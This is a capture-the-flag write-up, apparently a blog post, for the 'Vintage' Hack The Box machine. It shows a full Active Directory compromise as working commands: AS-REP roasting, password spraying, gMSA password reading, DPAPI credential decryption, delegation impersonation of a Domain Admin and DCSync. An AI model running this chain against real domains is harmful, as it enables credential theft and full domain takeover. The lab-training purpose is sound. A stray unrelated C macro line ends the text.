RECON

Port Scan

Quick full-port scanning with Rustcan:

$ rustscan -a $ip --ulimit 10000 -r 1-65535 -- -A -sC -Pn

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2024-12-01 04:31:17Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49681/tcp open  msrpc         syn-ack Microsoft Windows RPC
49689/tcp open  msrpc         syn-ack Microsoft Windows RPC
63029/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1s
| smb2-time: 
|   date: 2024-12-01T04:32:13
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 61729/tcp): CLEAN (Timeout)
|   Check 2 (port 36403/tcp): CLEAN (Timeout)
|   Check 3 (port 44816/udp): CLEAN (Timeout)
|   Check 4 (port 30356/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
  • Domain Discovery: The domain is vintage.htb. This indicates the machine is part of an Active Directory (AD) environment. Focus on LDAP (389/3268), Kerberos (88), and SMB (445) services.
  • Time Sync: The clock skew is minimal (-1s), which is important for Kerberos-related attacks (e.g., Kerberoasting or ticket forging). So use faketime when attacking.
  • LDAP (389, 3268):
    • Enumerate AD users, groups, and policies using tools like ldapsearch, windapsearch, or Impacket scripts (GetADUsers.py).
  • Kerberos (88):
    • Attempt AS-REP roasting if accounts with DONT_REQUIRE_PREAUTH exist.
    • List SPNs using Impacket-GetUserSPNs to perform Kerberoasting.
  • SMB (445):
    • Enumerate shares with smbclient or smbmap.
    • Check if anonymous login is allowed.
  • HTTPAPI (5985):
    • This is a WinRM endpoint, accessible using credentials for specific users.
  • MSRPC (135, 49664-63029):
    • Enumerate RPC services with rpcclient or Impacket's lookupsid.py with credentials.

Credentials

Creds provided for test:

As is common in real life Windows pentests, you will start the Vintage box with credentials for the following account: P.Rosa / Rosaisbest123

Enum

Try to enumerate the domain using Netexec:

The errors STATUS_NOT_SUPPORTED suggest that the server requires Kerberos authentication, instead of username/password, bypassing NTLM-based authentication.

Kerberos

Ensure Kerberos configuration file (/etc/krb5.conf) is set up correctly:

[libdefaults]
    default_realm = VINTAGE.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false

[realms]
    VINTAGE.HTB = {
        kdc = dc01.vintage.htb
        admin_server = dc01.vintage.htb
    }

[domain_realm]
    .vintage.htb = VINTAGE.HTB
    vintage.htb = VINTAGE.HTB
    dc01.vintage.htb = VINTAGE.HTB

Use the simplified realm for Kerberos Authentication:

Bash
kinit [email protected]    
# Rosaisbest123

Run klist to see if the ticket was successfully obtained:

Export the ticket as KRB5CCNAME env:

Bash
export KRB5CCNAME=/tmp/krb5cc_1000

Netexec

Nxc | SMB

Netexec supports Kerberos authentication directly using a password/hash, by specifying the same hostname (FQDN) as the one from the kerberos ticket. This ensures the FQDN matches the Kerberos service principal name (SPN):

Bash
nxc smb 'dc01.vintage.htb' -k -u 'P.Rosa' -p 'Rosaisbest123' --shares --rid-brute 10000

Shares:

Users:

Summarize the output:

  1. Built-in Users:
    • Administrator
    • Guest
    • krbtgt
  2. Service Accounts:
    • svc_sql
    • svc_ldap
    • svc_ark
  3. Standard Users:
    • P.Rosa (the account you are currently using)
    • M.Rossi
    • R.Verdi
    • L.Bianchi
    • G.Viola
    • C.Neri
  4. Admin Variants:
    • C.Neri_adm
    • L.Bianchi_adm
  5. Group Managed Service Accounts:
    • gMSA01$
    • FS01$
    • DC01$

Nxc | LDAP

Test LDAP access with Netexec:

Bash
nxc ldap 'dc01.vintage.htb' -k -u 'P.Rosa' -p 'Rosaisbest123' 

Enumerate high-value accounts:

Bash
nxc ldap 'dc01.vintage.htb' -k -u 'P.Rosa' -p 'Rosaisbest123' --admin-count

By default Windows permits unprivileged users to attach up to 10 computers to an Active Directory (AD) domain. Look it up:

Bash
nxc ldap 'dc01.vintage.htb' -k -u 'P.Rosa' -p 'Rosaisbest123' -M maq

The MachineAccountQuota: 0 indicates that in the current Active Directory environment, regular users (such as P.Rosa) are not allowed to create computer accounts.

Ldapsearch | Pre-Windows 2000

Use debugging tools ldapsearch to confirm basic LDAP connectivity and authentication:

Bash
ldapsearch -x -H ldap://dc01.vintage.htb -D "[email protected]" -w "Rosaisbest123" -b "DC=vintage,DC=htb" "(objectClass=*)"

The output reveals that we have READ permissions on all objects, likely due to a typical Pre-Windows 2000 configuration. This grants us visibility into some intriguing details. For instance, here are the specifics of the user account L.Bianchi_adm:

# L.Bianchi_adm, Users, vintage.htb
dn: CN=L.Bianchi_adm,CN=Users,DC=vintage,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: L.Bianchi_adm
distinguishedName: CN=L.Bianchi_adm,CN=Users,DC=vintage,DC=htb
instanceType: 4
whenCreated: 20240607105440.0Z
whenChanged: 20241201160627.0Z
uSNCreated: 49309
memberOf: CN=DelegatedAdmins,OU=Pre-Migration,DC=vintage,DC=htb
memberOf: CN=Domain Admins,CN=Users,DC=vintage,DC=htb
uSNChanged: 118870
name: L.Bianchi_adm
objectGUID:: aHkxylFOWEKDLnKTasq9og==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 133775427878078468
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAoYXe77IkM3mNjoR6dQQAAA==
adminCount: 1
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: L.Bianchi_adm
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=vintage,DC=htb
dSCorePropagationData: 20241113142911.0Z
dSCorePropagationData: 20241113141623.0Z
dSCorePropagationData: 20240608115138.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 133623205377997665
msDS-SupportedEncryptionTypes: 0

We focus on the sAMAccountName and userAccountControl attributes:

  1. sAMAccountName:
    • The sAMAccountName is the Security Account Manager (SAM) account name (sAMAccountType: 805306368), used for backward compatibility with pre-Windows 2000 systems.
    • In this case, sAMAccountName: L.Bianchi_adm clearly indicates that the object is compatible with pre-Windows 2000 naming conventions, as it is limited to 20 characters (the restriction for pre-Windows 2000 environments).
  2. userAccountControl:
    • The userAccountControl attribute includes flags that define various properties of the account.
      • NORMAL_ACCOUNT (0x0200): Indicates a standard user account.
      • DONT_EXPIRE_PASSWORD (0x10000): Indicates that the password never expires.
    • This flag configuration is consistent with accounts intended for general use, including pre-Windows 2000 compatibility.
  3. Membership in CN=Users:
    • The Distinguished Name (dn) shows the account resides in the default Users container: CN=Users,DC=vintage,DC=htb. This location is typical for accounts created for compatibility with older systems.

In modern Active Directory systems, particularly in post-Windows 2000 environments, the usage of sAMAccountName is still maintained for backward compatibility, but it is augmented by newer attributes and functionality.

Modern accounts utilize the userPrincipalName (UPN), which resembles an email address format (username@domain). It is the preferred method for logging into newer systems and applications.

Therefore, in a new environment for L.Bianchi_adm, the user we illustrated above, the UPN would look like:

userPrincipalName: [email protected]

Further, instead of placing users in CN=Users, modern systems might organize users in custom Organizational Units (OUs) for better administrative control. For instance:

dn: CN=L.Bianchi_adm,OU=Admins,DC=vintage,DC=htb

We'll delve into the relevant vulnerabilities in subsequent analysis.

BloodHound

Collect domain information using BloodHound remotely:

Bash
bloodhound-python -u 'P.Rosa' -p 'Rosaisbest123' -d 'vintage.htb' -ns $ip --zip -c All -dc 'dc01.vintage.htb'

Now, we can delve further into the path of user P.Rosa.

P.Rosa → DOMAIN USERS → USERS

L.BIANCHI_ADM → DOMAIN ADMINS

We can identify a high-privilege user L.BIANCHI_ADM.Compromising it would grant full forest control immediately.

C.NERI_ADM → DELEGATEADMINS → DC01

[email protected] is a member of DELEGATEADMINS and can potentially leverage that to escalate privileges.

L.BIANCHI → SERVICEMANAGERS → SVC_*

[email protected] is a user account that is a member of the SERVICEMANAGERS group, which controls 3 service accounts:

And one normal user [email protected]

GMSA01$ → SERVICEMANAGERS

[email protected] is a Group Managed Service Account (gMSA), which has AddSelf and GenericWrite privilege on the SERVICEMANAGERS group.

USER 1139 → SERVICEMANAGERS

And there's a Question Mark Node, a normal user with an object ID S-1-5-21-4024337825-2033394866-2055507597-1139, which has the same priv as GMSA01$.

FS01 → GMSA01$

FS01.VINTAGE.HTB is obviously a computer object, which has ReadGMSAPassword priv on the [email protected].

C.NERI → SERVICEMANAGERS

[email protected] is member of [email protected] and REMOTE MANAGEMENT [email protected], which is allowed to abuse service accounts and remote logon the target machine.

All in all, there's not a straight path from user P.Rosa (owned) to high-value accounts via domain privileges. We may need to consider some non-domain techniques to promote our attacks.

FS01$

Pre-Windows 2000 Objects

As we have identified the target may apply Pre-Windows 2000 Objects in the system earlier, we can now test for relevant vulnerabilities. The concept of this topic can be referred to this article.

In this deployment, the system grants object-level permissions on Active Directory objects that are compatible with the less secure Windows NT, instead of using more granular attribute-level permissions.

Detailed analysis is introduced in previous ENUM part.

Pre2k

Pre2k is a tool to query for the existence of pre-windows 2000 computer objects which can be leveraged to gain a foothold in a target domain as discovered by TrustedSec's @Oddvarmoe. It can be ran from an unauthenticated context to perform a password spray from a provided list of recovered hostnames (such as from an RPC/LDAP null bind) or from an authenticated context to perform a targeted or broad password spray.

Since user P.Rosa is able to read all objects via LDAP, we can easily retrieve a username list:

Bash
# Output 
ldapsearch -x -H ldap://dc01.vintage.htb -D "[email protected]" -w "Rosaisbest123" -b "DC=vintage,DC=htb" "(objectClass=*)" > ldapsearch.out

# Retrive names
grep "sAMAccountName:" ldapsearch.out | awk '{print $2}' | sort | uniq > users.txt

Install pre2k, then we can run:

Bash
pre2k unauth -d vintage.htb -dc-ip $ip -save -inputfile users.txt

GMSA01$

ReadGMSAPassword

From the previous ENUM from BloodHound, we know FS01$ has ReadGMSAPassword priv on the [email protected].

To apply the newly generated FS01$ TGT:

$ export KRB5CCNAME='FS01$.ccache'

$ klist
Ticket cache: FILE:FS01$.ccache
Default principal: [email protected]

Valid starting       Expires              Service principal
12/01/2024 21:07:08  12/02/2024 07:07:08  krbtgt/[email protected]
        renew until 12/02/2024 21:07:07

We can then read the GMSA password using bloodyAD introduced in this article (while Netexec, CrackMapExec, gmsaDump.py not working after testing):

Bash
bloodyAD --host dc01.vintage.htb -d VINTAGE.HTB --dc-ip $ip -k get object 'GMSA01$' --attr msDS-ManagedPassword

Next, we can use getTGT.py from the Impacket toolkit to request a TGT with the GMSA hash (dynamically changed):

Bash
getTGT.py vintage.htb/'GMSA01$' -hashes :54311f0ed05b807a7aaf5943b595f224

SVC_SQL

AddSelf

Continuing with our BloodHound research, the next focus is the SERVICEMANAGERS group, as [email protected] holds AddSelf and GenericWrite privileges on this target.

Apply the newly generated TGT:

$ export KRB5CCNAME="GMSA01\$.ccache"

$ klist
Ticket cache: FILE:GMSA01$.ccache
Default principal: [email protected]

Valid starting       Expires              Service principal
12/01/2024 22:01:32  12/02/2024 08:01:32  krbtgt/[email protected]
        renew until 12/02/2024 22:01:30

Add ourselves [email protected] to the SERVICEMANAGERS group:

Bash
bloodyAD --host dc01.vintage.htb -d VINTAGE.HTB --dc-ip $ip -k add groupMember "SERVICEMANAGERS" "GMSA01$"

GenericWrite | Group

Exploiting the GenericWrite privilege on a GROUP often diverges from techniques like the Shadow Credentials Attack we detailed in Certified or leveraging targetedKerberoasting.py as discussed in Administrator.

While adding ourselves to the group is an option, it doesn't immediately provide further attack leverage. Instead, we shift our focus to the group's existing members, as revealed through our BloodHound enumeration:

With our GenericWrite privilege, we can attempt to compromise these members by modifying their accounts to make them vulnerable to AS-REP Roasting. This attack bypasses the need for Kerberos preauthentication, opening a pathway to further exploitation.

AS-REP Roasting

Set the DONT_REQ_PREAUTH flag up, which is part of the UserAccountControl (UAC) attribute in Active Directory.

Before proceeding, we need to ensure our changes to group membership are reflected. Specifically, we must request a fresh TGT after adding GMSA01$ to the SERVICEMANAGERS group:

$ getTGT.py vintage.htb/'GMSA01$' -hashes :54311f0ed05b807a7aaf5943b595f224
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Saving ticket in GMSA01$.ccache

$ export KRB5CCNAME=GMSA01\$.ccache

Leverage bloodyAD to manipulate the UserAccountControl (UAC) attribute and enable the DONT_REQ_PREAUTH flag for our target accounts:

Bash
# SVC_ARK
bloodyAD --host dc01.vintage.htb -d VINTAGE.HTB --dc-ip $ip -k add uac SVC_ARK -f DONT_REQ_PREAUTH

# SVC_SQL
bloodyAD --host dc01.vintage.htb -d VINTAGE.HTB --dc-ip $ip -k add uac SVC_SQL -f DONT_REQ_PREAUTH

# SVC_LDAP
bloodyAD --host dc01.vintage.htb -d VINTAGE.HTB --dc-ip $ip -k add uac SVC_LDAP -f DONT_REQ_PREAUTH

# L.BIANCHI
bloodyAD --host dc01.vintage.htb -d VINTAGE.HTB --dc-ip $ip -k add uac L.BIANCHI -f DONT_REQ_PREAUTH

It works for the service accounts, which are now exempt from Kerberos preauthentication requirements.:

But not for the user account:

Then we can enable those service accounts:

Bash
# SVC_ARK
bloodyAD --host dc01.vintage.htb -d VINTAGE.HTB --dc-ip $ip -k remove uac SVC_ARK -f ACCOUNTDISABLE

# SVC_SQL
bloodyAD --host dc01.vintage.htb -d VINTAGE.HTB --dc-ip $ip -k remove uac SVC_SQL -f ACCOUNTDISABLE

# SVC_LDAP
bloodyAD --host dc01.vintage.htb -d VINTAGE.HTB --dc-ip $ip -k remove uac SVC_LDAP -f ACCOUNTDISABLE

Now we can perform AS-REP Roasting attack on the vulnerable accounts, re-using the users.txt we extracted earlier:

Bash
GetNPUsers.py vintage.htb/ -request -usersfile users.txt -format hashcat

Of course now we have the Kerberos AS-REP hashes in the $krb5asrep$23$ format:

Use Hashcat to crack the AS-REP hashes. The mode for AS-REP hashes is 18200:

The one from SVC_SQL is able to cracked by rockyou.txt.

C.Neri

Password Spray

User kerbrute for password spray, with the cracked password:

Bash
kerbrute passwordspray -d vintage.htb --dc $ip users.txt Zer0▒▒▒▒▒▒

And we know user C.Neri is member of REMOTE MANAGEMENT Group. So we can use her credentials to try logon:

We can try Kerberos authentication, by requesting a TGT as user C.Neri:

Bash
getTGT.py 'vintage.htb'/'C.Neri':'Zer0▒▒▒▒▒▒'

Export the TGT, and with the Kerberos realm we configured earlier, we can remotely logon the target and take the user flag:

Bash
export KRB5CCNAME=C.Neri.ccache

# Login wish ticket
evil-winrm -i dc01.vintage.htb -r vintage.htb

C.Neri_adm

DPAPI

AV is detected in the target machine:

In a real-life scenario, bypassing AV and AMSI would involve advanced AAV techniques, but this is less common in a CTF. Instead, we focus on accessible sensitive data as C.Neri.

Exploring the AppData folder, we uncover something intriguing: the Vault directory and subdirectories like 4BF4C442-9B8A-41A0-B380-DD4A704DDB28, which strongly indicate the use of DPAPI (Data Protection API).

The Vault directory stores credentials and secrets for various Windows services and applications, including saved network passwords, Wi-Fi credentials, and other user secrets. These entries are encrypted using DPAPI, ensuring only the user or the system that created them can decrypt and access the stored information.

The Data Protection API (DPAPI) is a special data protection interface introduce in Windows 2000, well explained in this article. It stores protected data such as user credentials, encryption keys, and secure information in specific directories on Windows. These directories vary depending on the type of data stored.

We can then try to exploit DPAPI by retrieving the user's Master Key.

DPAPI | Stored User Credentials

DPAPI-protected user credentials (used by applications and services) are stored in:

C:\Users\<Username>\AppData\Roaming\Microsoft\Credentials
  • Files in this folder are associated with GUID-like filenames

DPAPI | Stored System Credentials

For system-wide credentials (machine-level DPAPI secrets), the location is:

C:\Windows\System32\Microsoft\Protect
  • This folder contains system-level DPAPI keys used to protect machine secrets.

DPAPI | Master Keys

The DPAPI Master Keys, used for decrypting protected data (aka DPAPI data blobs), are stored in:

C:\Users\<Username>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>
  • <SID> represents the Security Identifier of the user.
  • <GUID> is the name of the master key.
  • A user can have multiple master keys. So this folder may contain multiple keys, including:
    • Preferred key: The active key used for encrypting new data.
    • Other keys: Used to decrypt data protected with older keys.
  • This master key needs to be decrypted using the user's password OR the domain backup key

DPAPI | Retrieve

By knowing the default paths for DPAPI, we can now try to enumerate relevant blobs:

PowerShell
# Credentials
Get-ChildItem "C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials" -Force | Format-List

# Protect
Get-ChildItem "C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect" -Force | Format-List

For store user credentials:

There're 2 master keys:

  • Preferred: Indicates the currently active master key for the user. It stores a reference to the GUID of the preferred master key (e.g., 99cf41a3-... or 4dbf04d8-...).
  • BK-VINTAGE: May contain backup-related data or keys.
  • CREDHIST and SYNCHIST: These files store history data for credential synchronization but are not master keys.

We can then download them for further exploitation.

Introducing another small trick:

These are hidden and protected system files, which are not meant to be directly accessed or modified by users. To retrieve these blobs, we can also use the attrib command to list all files, including hidden and system files:

PowerShell
attrib -s -h *.* /s
  • -s removes the system attribute.
  • -h removes the hidden attribute.
  • /s includes subdirectories.

Impacket | Dpapi.py

We can use dpapi.py from Impacket to manipulate the DPAPI-data (blobs), which can be referred to this article.

Decrypt the 1st master key:

Bash
dpapi.py masterkey -file "4dbf04d8-529b-4b4c-b4ae-8e875e4fe847" -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0▒▒▒▒▒▒

And the 2nd one:

Bash
dpapi.py masterkey -file "99cf41a3-a552-4cf7-a8d7-aca2d6f7339b" -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0▒▒▒▒▒▒

The password works for both master keys:

Decrypted keys:

# 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
Decrypted key: 0x55d51b40d9aa74e8cdc44a6d24a25c96451449229739a1c9dd2bb50048b60a652b5330ff2635a511210209b28f81c3efe16b5aee3d84b5a1be3477a62e25989f

# 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

Then we can decrypt DPAPI-protected data with the Decrypted key in hex format:

dpapi.py credential -file "C4BB96844A5C9DD45D5B6A9859252BA6" -key <hex_Decrypted_key>

The 2nd one works for the Credentials blob:

We successfully retrieved the credentials for the domain user c.neri_adm, a high-value target associated with administrative access (admin_acc).

L.Bianchi_Adm

From our BloodHound enumeration, we identified an attack path leveraging the newly compromised user C.Neri_adm: C.NERI_ADM → DELEGATEADMINS → DC01.

The DelegatedAdmins group is often a custom Active Directory (AD) group created to delegate specific administrative tasks or permissions to users or groups.

Here I would like to collect domain information again using new credentials from a higher-privilege user:

bloodhound-python -u 'C.Neri_adm' -p 'Uncr4ck▒▒▒▒▒▒▒▒▒▒▒' -d 'vintage.htb' -ns $ip --zip -c All -dc 'dc01.vintage.htb'

Unfortunately, nothing new here but a re-post for illustration:

We can acquire TGT for C.Neri_adm by repeating any one of the techniques introduced in this post:

getTGT.py 'vintage.htb/c.neri_adm:Uncr4ck4b▒▒▒▒▒▒▒▒▒▒'

We identified a high-value account on the machine—L.Bianchi_adm, a member of the Domain Admins group. However, the current C.Neri_adm account cannot directly perform a Kerberos Delegation Attack:

With an explicit error KDC_ERR_S_PRINCIPAL_UNKNOWN.

Kerberos Delegation

  • Kerberos delegation is strictly controlled in Active Directory.
  • Even with a TGT for C.Neri_adm, the ability to impersonate another account requires specific SPN delegation rights. These rights must be explicitly assigned to the C.Neri_adm account or the DelegatedAdmins group.
  • If C.Neri_adm does not have a Service Principal Name (SPN) mapped or the Trusted for Delegation property enabled, it may not be able to impersonate L.BIANCHI_ADM.

Therefore, we can check SPN mapping via the C.Neri shell:

Get-ADUser -Identity C.Neri_adm -Properties ServicePrincipalName | Select-Object Name, ServicePrincipalName

Apparently, C.Neri_adm does not have an SPN mapped. So we can try to manage to get an account with SPN to the DelegatedAdmins group.

First we can leverage the GenericWrite priv of C.Neri on the service account svc_sql, by adding an SPN via the C.Neri shell:

Set-ADUser -Identity svc_sql -Add @{servicePrincipalName="cifs/whateverhostitis"}

And we can verify the result:

Get-ADUser -Identity svc_sql -Properties ServicePrincipalName | Select-Object -ExpandProperty ServicePrincipalName

Then try to add the compromised service account svc_sql to the DelegatedAdmins group, via the priv of C.Neri_adm with her TGT:

bloodyAD -k --host dc01.vintage.htb -d vintage.htb add groupMember "delegatedadmins" "svc_sql"

Verify using command:

Get-ADUser -Identity svc_sql -Properties MemberOf | Select-Object -ExpandProperty MemberOf

Tips: This machine appears to have a clean-up process in place, where configurations like group memberships may reset over time. Ensure that the svc_sql account is active and properly configured during testing:

export KRB5CCNAME=GMSA01\$.ccache

# Use kerberos ticket with `-k`
bloodyAD --host dc01.vintage.htb -d VINTAGE.HTB --dc-ip $ip -k remove uac SVC_SQL -f ACCOUNTDISABLE

Get a new TGT for updated account svc_sql:

getTGT.py 'vintage.htb'/'svc_sql':'Zer0▒▒▒▒▒▒'

Finally, impersonate DA with the privilege-escalated service account:

export KRB5CCNAME='svc_sql.ccache'

# Use kerberos ticket with `-k`
getST.py -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip $ip -k 'vintage.htb/svc_sql:Zer0▒▒▒▒▒▒' -debug

Then DCSync attack as we have TGT from a Domain Admin:

export KRB5CCNAME=L.BIANCHI_ADM.ccache

# Use kerberos ticket with `-k`
secretsdump.py -k dc01.vintage.htb

However, WinRM is not working. And the policies restrict us to authenticate to the machine using plain-text password or NTLM hashes. Try Windows Management Instrumentation (WMI) over the DCOM protocol:

wmiexec.py -k -no-pass VINTAGE.HTB/[email protected]

Full DA privileges owned. Rooted:


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)